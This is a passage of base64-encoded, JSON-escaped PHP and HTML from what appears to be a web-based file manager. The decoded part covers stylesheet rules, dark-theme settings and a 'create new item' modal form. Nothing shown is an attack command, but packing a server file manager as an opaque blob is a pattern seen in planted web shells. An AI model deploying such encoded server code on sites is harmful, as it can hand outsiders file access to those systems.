Z2h0O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybCgnZGF0YTppbWFnZVwvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQk1BQUFBVENBWUFBQUJ5VURiTUFBQUFaMGxFUVZRNHkyTmdHTEtncXVFdUZ4QlBBR0kyYWhoV0NzU1wvZ0RpYlVvTzBnUGd4RVA4SDR0dEFyRXl1UVl4QVBCZHFFQXhQQkltVFk1Z2pFTDlETSt3VEVOdVFhaEF2RU85RE13aUdkd0F4T3ltR0pRTHhUeUQramdXRHhDTVpSc0VvR0FWb0FBRGVlbXd0UGNaSTJ3QUFBQUJKUlU1RXJrSmdnZz09Jyk7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIHRhYmxlLmRhdGFUYWJsZSB0aGVhZCAuc29ydGluZ19kZXNjIHtcbiAgICAgICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1yZXBlYXQ6IG5vLXJlcGVhdDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLXBvc2l0aW9uOiBjZW50ZXIgcmlnaHQ7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogdXJsKCdkYXRhOmltYWdlXC9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCTUFBQUFUQ0FZQUFBQnlVRGJNQUFBQVpVbEVRVlE0eTJOZ0dBV2pZQlNnZ2FxR3U1RkFcL0JPSXYyUEJJUEZFVWd4akIrSWRRUHdmQzk0SHhMeWt1czRHaUQraEdmUU9pQjNKOFNvakVFOUVNMnd1U0p6Y3NGTUc0dHRRZ3g0RHNSYWxrWkVOeEwrQXVKUWFNY3NHeEJPQW1Hdm9wazhBVnoxc0xaZ2cwYnNBQUFBQVNVVk9SSzVDWUlJPScpO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICB0YWJsZS5kYXRhVGFibGUgdGhlYWQgdHI6Zmlyc3QtY2hpbGQgdGguY3VzdG9tLWNoZWNrYm94LWhlYWRlcjpmaXJzdC1jaGlsZCB7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogbm9uZTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZvb3Rlci1hY3Rpb24gbGkge1xuICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEwcHg7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5hcHAtdi10aXRsZSB7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAyNHB4O1xuICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiAzMDA7XG4gICAgICAgICAgICAgICAgbGV0dGVyLXNwYWNpbmc6IC0uNXB4O1xuICAgICAgICAgICAgICAgIHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGhyLmN1c3RvbS1ociB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXRvcDogMXB4IGRhc2hlZCAjOGM4YjhiO1xuICAgICAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBkYXNoZWQgI2ZmZjtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgI3NuYWNrYmFyIHtcbiAgICAgICAgICAgICAgICB2aXNpYmlsaXR5OiBoaWRkZW47XG4gICAgICAgICAgICAgICAgbWluLXdpZHRoOiAyNTBweDtcbiAgICAgICAgICAgICAgICBtYXJnaW4tbGVmdDogLTEyNXB4O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMzMzM7XG4gICAgICAgICAgICAgICAgY29sb3I6ICNmZmY7XG4gICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDJweDtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiAxNnB4O1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBmaXhlZDtcbiAgICAgICAgICAgICAgICB6LWluZGV4OiAxO1xuICAgICAgICAgICAgICAgIGxlZnQ6IDUwJTtcbiAgICAgICAgICAgICAgICBib3R0b206IDMwcHg7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxN3B4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjc25hY2tiYXIuc2hvdyB7XG4gICAgICAgICAgICAgICAgdmlzaWJpbGl0eTogdmlzaWJsZTtcbiAgICAgICAgICAgICAgICAtd2Via2l0LWFuaW1hdGlvbjogZmFkZWluIDAuNXMsIGZhZGVvdXQgMC41cyAyLjVzO1xuICAgICAgICAgICAgICAgIGFuaW1hdGlvbjogZmFkZWluIDAuNXMsIGZhZGVvdXQgMC41cyAyLjVzO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBALXdlYmtpdC1rZXlmcmFtZXMgZmFkZWluIHtcbiAgICAgICAgICAgICAgICBmcm9tIHtcbiAgICAgICAgICAgICAgICAgICAgYm90dG9tOiAwO1xuICAgICAgICAgICAgICAgICAgICBvcGFjaXR5OiAwO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIHRvIHtcbiAgICAgICAgICAgICAgICAgICAgYm90dG9tOiAzMHB4O1xuICAgICAgICAgICAgICAgICAgICBvcGFjaXR5OiAxO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgQGtleWZyYW1lcyBmYWRlaW4ge1xuICAgICAgICAgICAgICAgIGZyb20ge1xuICAgICAgICAgICAgICAgICAgICBib3R0b206IDA7XG4gICAgICAgICAgICAgICAgICAgIG9wYWNpdHk6IDA7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgdG8ge1xuICAgICAgICAgICAgICAgICAgICBib3R0b206IDMwcHg7XG4gICAgICAgICAgICAgICAgICAgIG9wYWNpdHk6IDE7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBALXdlYmtpdC1rZXlmcmFtZXMgZmFkZW91dCB7XG4gICAgICAgICAgICAgICAgZnJvbSB7XG4gICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMzBweDtcbiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICB0byB7XG4gICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMDtcbiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMDtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBrZXlmcmFtZXMgZmFkZW91dCB7XG4gICAgICAgICAgICAgICAgZnJvbSB7XG4gICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMzBweDtcbiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICB0byB7XG4gICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMDtcbiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMDtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2Uge1xuICAgICAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDJweCBzb2xpZCAjZjhmOWZhXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2U6bnRoLWNoaWxkKDEpIHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6ICNkZjQyMjdcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZTpudGgtY2hpbGQoMikge1xuICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogI2Y4YjYwMFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbWFpbi10YWJsZSBzcGFuLmJhZGdlOm50aC1jaGlsZCgzKSB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjMDBiZDYwXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2U6bnRoLWNoaWxkKDQpIHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6ICM0NTgxZmZcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZTpudGgtY2hpbGQoNSkge1xuICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogI2FjNjhmY1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbWFpbi10YWJsZSBzcGFuLmJhZGdlOm50aC1jaGlsZCg2KSB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjNDVjM2QyXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1pbi1kZXZpY2Utd2lkdGg6NzY4cHgpIGFuZCAobWF4LWRldmljZS13aWR0aDoxMDI0cHgpIGFuZCAob3JpZW50YXRpb246bGFuZHNjYXBlKSBhbmQgKC13ZWJraXQtbWluLWRldmljZS1waXhlbC1yYXRpbzoyKSB7XG4gICAgICAgICAgICAgICAgLm5hdmJhci1jb2xsYXBzZSAuY29sLXhzLTYge1xuICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiAwO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJ0bi5hY3RpdmUuZm9jdXMsXG4gICAgICAgICAgICAuYnRuLmFjdGl2ZTpmb2N1cyxcbiAgICAgICAgICAgIC5idG4uZm9jdXMsXG4gICAgICAgICAgICAuYnRuLmZvY3VzOmFjdGl2ZSxcbiAgICAgICAgICAgIC5idG46YWN0aXZlOmZvY3VzLFxuICAgICAgICAgICAgLmJ0bjpmb2N1cyB7XG4gICAgICAgICAgICAgICAgb3V0bGluZTogMCAhaW1wb3J0YW50O1xuICAgICAgICAgICAgICAgIG91dGxpbmUtb2Zmc2V0OiAwICFpbXBvcnRhbnQ7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogbm9uZSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgICAgIC13ZWJraXQtYm94LXNoYWRvdzogbm9uZSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgICAgIGJveC1zaGFkb3c6IG5vbmUgIWltcG9ydGFudFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rIHtcbiAgICAgICAgICAgICAgICBkaXNwbGF5OiBub25lO1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAgICAgICAgICAgICB3aWR0aDogNjRweDtcbiAgICAgICAgICAgICAgICBoZWlnaHQ6IDY0cHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmxkcy1mYWNlYm9vayBkaXYsXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rLnNob3ctbWUge1xuICAgICAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9ja1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rIGRpdiB7XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgICAgICAgICAgIGxlZnQ6IDZweDtcbiAgICAgICAgICAgICAgICB3aWR0aDogMTNweDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMDA3YmZmO1xuICAgICAgICAgICAgICAgIGFuaW1hdGlvbjogbGRzLWZhY2Vib29rIDEuMnMgY3ViaWMtYmV6aWVyKDAsIC41LCAuNSwgMSkgaW5maW5pdGVcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmxkcy1mYWNlYm9vayBkaXY6bnRoLWNoaWxkKDEpIHtcbiAgICAgICAgICAgICAgICBsZWZ0OiA2cHg7XG4gICAgICAgICAgICAgICAgYW5pbWF0aW9uLWRlbGF5OiAtLjI0c1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rIGRpdjpudGgtY2hpbGQoMikge1xuICAgICAgICAgICAgICAgIGxlZnQ6IDI2cHg7XG4gICAgICAgICAgICAgICAgYW5pbWF0aW9uLWRlbGF5OiAtLjEyc1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rIGRpdjpudGgtY2hpbGQoMykge1xuICAgICAgICAgICAgICAgIGxlZnQ6IDQ1cHg7XG4gICAgICAgICAgICAgICAgYW5pbWF0aW9uLWRlbGF5OiAwc1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBAa2V5ZnJhbWVzIGxkcy1mYWNlYm9vayB7XG4gICAgICAgICAgICAgICAgMCUge1xuICAgICAgICAgICAgICAgICAgICB0b3A6IDZweDtcbiAgICAgICAgICAgICAgICAgICAgaGVpZ2h0OiA1MXB4XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgMTAwJSxcbiAgICAgICAgICAgICAgICA1MCUge1xuICAgICAgICAgICAgICAgICAgICB0b3A6IDE5cHg7XG4gICAgICAgICAgICAgICAgICAgIGhlaWdodDogMjZweFxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgdWwjc2VhcmNoLXdyYXBwZXIge1xuICAgICAgICAgICAgICAgIHBhZGRpbmctbGVmdDogMDtcbiAgICAgICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZWNlY2VjY2M7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIHVsI3NlYXJjaC13cmFwcGVyIGxpIHtcbiAgICAgICAgICAgICAgICBsaXN0LXN0eWxlOiBub25lO1xuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDVweDtcbiAgICAgICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2VjZWNlY2NjO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICB1bCNzZWFyY2gtd3JhcHBlciBsaTpudGgtY2hpbGQob2RkKSB7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZDogI2Y5ZjlmOWNjO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuYy1wcmV2aWV3LWltZyB7XG4gICAgICAgICAgICAgICAgbWF4LXdpZHRoOiAzMDBweDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJvcmRlci1yYWRpdXMtMCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZsb2F0LXJpZ2h0IHtcbiAgICAgICAgICAgICAgICBmbG9hdDogcmlnaHQ7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC50YWJsZS1ob3Zlcj50Ym9keT50cjpob3Zlcj50ZDpmaXJzdC1jaGlsZCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWxlZnQ6IDFweCBzb2xpZCAjMWI3N2ZkO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbWFpbi10YWJsZSB0ci5ldmVuIHtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjRjhGOUZhO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuZmlsZW5hbWU+YT5pIHtcbiAgICAgICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IDNweDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZzLTcge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTRweDtcbiAgICAgICAgICAgIH1cbiAgICAgICAgPFwvc3R5bGU+XG4gICAgICAgIDw/cGhwXG4gICAgICAgIGlmIChGTV9USEVNRSA9PSBcImRhcmtcIik6ID8+XG4gICAgICAgICAgICA8c3R5bGU+XG4gICAgICAgICAgICAgICAgOnJvb3Qge1xuICAgICAgICAgICAgICAgICAgICAtLWJzLWJnLW9wYWNpdHk6IDE7XG4gICAgICAgICAgICAgICAgICAgIC0tYmctY29sb3I6ICNmM2RhYTY7XG4gICAgICAgICAgICAgICAgICAgIC0tYnMtZGFyay1yZ2I6IDI4LCAzNiwgNDEgIWltcG9ydGFudDtcbiAgICAgICAgICAgICAgICAgICAgLS1icy1iZy1vcGFjaXR5OiAxO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIGJvZHkudGhlbWUtZGFyayB7XG4gICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IGxpbmVhci1ncmFkaWVudCg5MGRlZywgIzFjMjQyOSwgIzI2MzIzOCk7XG4gICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjQ0ZEOERDO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIC5saXN0LWdyb3VwIC5saXN0LWdyb3VwLWl0ZW0ge1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMzQzYTQwO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIC50aGVtZS1kYXJrIC5uYXZiYXItbmF2IGksXG4gICAgICAgICAgICAgICAgLm5hdmJhci1uYXYgLmRyb3Bkb3duLXRvZ2dsZSxcbiAgICAgICAgICAgICAgICAuYnJlYWstd29yZCB7XG4gICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjQ0ZEOERDO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIGEsXG4gICAgICAgICAgICAgICAgYTpob3ZlcixcbiAgICAgICAgICAgICAgICBhOnZpc2l0ZWQsXG4gICAgICAgICAgICAgICAgYTphY3RpdmUsXG4gICAgICAgICAgICAgICAgI21haW4tdGFibGUgLmZpbGVuYW1lIGEsXG4gICAgICAgICAgICAgICAgaS5mYS5mYS1mb2xkZXItbyxcbiAgICAgICAgICAgICAgICBpLmdvLWJhY2sge1xuICAgICAgICAgICAgICAgICAgICBjb2xvcjogdmFyKC0tYmctY29sb3IpO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIHVsI3NlYXJjaC13cmFwcGVyIGxpOm50aC1jaGlsZChvZGQpIHtcbiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzIxMmEyZjtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAuYnRuLW91dGxpbmUtcHJpbWFyeSB7XG4gICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjYjhlNTljO1xuICAgICAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6ICNiOGU1OWM7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgLnRoZW1lLWRhcmsgLmJ0bi1vdXRsaW5lLXByaW1hcnk6aG92ZXIsXG4gICAgICAgICAgICAgICAgLnRoZW1lLWRhcmsgLmJ0bi1vdXRsaW5lLXByaW1hcnk6YWN0aXZlIHtcbiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzJkNDEyMTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayBpbnB1dC5mb3JtLWNvbnRyb2wge1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMTAxNTE4O1xuICAgICAgICAgICAgICAgICAgICBjb2xvcjogI0NGRDhEQztcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAuZHJvcHpvbmUge1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAuaW5saW5lLWFjdGlvbnM+YT5pIHtcbiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzc5NzU1ZTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAudGV4dC13aGl0ZSB7XG4gICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjQ0ZEOERDICFpbXBvcnRhbnQ7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgLnRoZW1lLWRhcmsgLnRhYmxlLWJvcmRlcmVkIHRkLFxuICAgICAgICAgICAgICAgIC50YWJsZS1ib3JkZXJlZCB0aCB7XG4gICAgICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogIzM0MzQzNDtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAudGFibGUtYm9yZGVyZWQgdGQgLmN1c3RvbS1jb250cm9sLWlucHV0LFxuICAgICAgICAgICAgICAgIC50aGVtZS1kYXJrIC50YWJsZS1ib3JkZXJlZCB0aCAuY3VzdG9tLWNvbnRyb2wtaW5wdXQge1xuICAgICAgICAgICAgICAgICAgICBvcGFjaXR5OiAwLjY3ODtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAubWVzc2FnZSB7XG4gICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMyMTI1Mjk7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgZm9ybS5kcm9wem9uZSB7XG4gICAgICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogIzc5NzU1ZTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICA8XC9zdHlsZT5cbiAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgPFwvaGVhZD5cblxuICAgIDxib2R5IGNsYXNzPVwiPD9waHAgZWNobyAoRk1fVEhFTUUgPT0gXCJkYXJrXCIpID8gJ3RoZW1lLWRhcmsnIDogJyc7ID8+IDw/cGhwIGVjaG8gJGlzU3RpY2t5TmF2QmFyOyA/PlwiPlxuICAgICAgICA8ZGl2IGlkPVwid3JhcHBlclwiIGNsYXNzPVwiY29udGFpbmVyLWZsdWlkXCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwgZmFkZVwiIGlkPVwiY3JlYXRlTmV3SXRlbVwiIHRhYmluZGV4PVwiLTFcIiByb2xlPVwiZGlhbG9nXCIgZGF0YS1icy1iYWNrZHJvcD1cInN0YXRpY1wiIGRhdGEtYnMta2V5Ym9hcmQ9XCJmYWxzZVwiIGFyaWEtbGFiZWxsZWRieT1cIm5ld0l0ZW1Nb2RhbExhYmVsXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWRpYWxvZ1wiIHJvbGU9XCJkb2N1bWVudFwiPlxuICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cIm1vZGFsLWNvbnRlbnRcIiBtZXRob2Q9XCJwb3N0XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtaGVhZGVyXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGg1IGNsYXNzPVwibW9kYWwtdGl0bGVcIiBpZD1cIm5ld0l0ZW1Nb2RhbExhYmVsXCI+PGkgY2xhc3M9XCJmYSBmYS1wbHVzLXNxdWFyZSBmYS1md1wiPjxcL2k+PD9waHAgZWNobyBsbmcoJ0NyZWF0ZU5ld0l0ZW0nKSA/PjxcL2g1PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuLWNsb3NlXCIgZGF0YS1icy1kaXNtaXNzPVwibW9kYWxcIiBhcmlhLWxhYmVsPVwiQ2xvc2VcIj48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYm9keVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxsYWJlbCBmb3I9XCJuZXdmaWxlXCI+PD9waHAgZWNobyBsbmcoJ0l0ZW1UeXBlJykgPz4gPFwvbGFiZWw+PFwvcD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1jaGVjayBmb3JtLWNoZWNrLWlubGluZVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJmb3JtLWNoZWNrLWlucHV0XCIgdHlwZT1cInJhZGlvXCIgbmFtZT1cIm5ld2ZpbGVcIiBpZD1cImN1c3RvbVJhZGlvSW5saW5lMVwiIG5hbWU9XCJuZXdmaWxlXCIgdmFsdWU9XCJmaWxlXCIgY2hlY2tlZD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPVwiZm9ybS1jaGVjay1sYWJlbFwiIGZvcj1cImN1c3RvbVJhZGlvSW5saW5lMVwiPjw/cGhwIGVjaG8gbG5nKCdGaWxlJykgPz48XC9sYWJlbD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZvcm0tY2hlY2sgZm9ybS1jaGVjay1pbmxpbmVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPVwiZm9ybS1jaGVjay1pbnB1dFwiIHR5cGU9XCJyYWRpb1wiIG5hbWU9XCJuZXdmaWxlXCIgaWQ9XCJjdXN0b21SYWRpb0lubGluZTJcIiB2YWx1ZT1cImZvbGRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9XCJmb3JtLWNoZWNrLWxhYmVsXCIgZm9yPVwiY3VzdG9tUmFkaW9JbmxpbmUyXCI+PD9waHAgZWNobyBsbmcoJ0ZvbGRlcicpID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJtdC0zXCI+PGxhYmVsIGZvcj1cIm5ld2ZpbGVuYW1lXCI+PD9waHAgZWNobyBsbmcoJ0l0ZW1OYW1lJykgPz4gPFwvbGFiZWw+PFwvcD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3ZmlsZW5hbWVcIiBpZD1cIm5ld2ZpbGVuYW1lXCIgdmFsdWU9XCJcIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIHBsYWNlaG9sZGVyPVwiPD9waHAgZWNobyBsbmcoJ0VudGVyIGhlcmUuLi4nKSA/PlwiIHJlcXVpcmVkPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWZvb3RlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJidXR0b25cIiBjbGFzcz1cImJ0biBidG4tb3V0bGluZS1wcmltYXJ5XCIgZGF0YS1icy1kaXNtaXNzPVwibW9kYWxcIj48aSBjbGFzcz1cImZhIGZhLXRpbWVzLWNpcmNsZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdDYW5jZWwnKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0biBidG4tc3VjY2Vzc1wiPjxpIGNsYXNzPVwiZmEgZmEtY2hlY2stY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NyZWF0ZU5vdycpID8+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9mb3JtPlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cblxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsIGZhZGVcIiBpZD1cInNlYXJjaE1vZGFsXCIgdGFiaW5kZXg9XCItMVwiIHJvbGU9XCJkaWFsb2dcIiBhcmlhLWxhYmVsbGVkYnk9XCJzZWFyY2hNb2RhbExhYmVsXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWRpYWxvZyBtb2RhbC1sZ1wiIHJvbGU9XCJkb2N1bWVudFwiPlxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtY29udGVudFwiPl